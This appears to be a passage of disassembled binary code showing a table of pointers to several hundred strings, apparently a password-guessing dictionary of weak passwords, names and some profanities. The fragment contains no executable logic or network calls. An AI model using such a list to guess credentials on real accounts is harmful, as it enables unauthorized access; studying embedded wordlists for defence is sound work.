		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
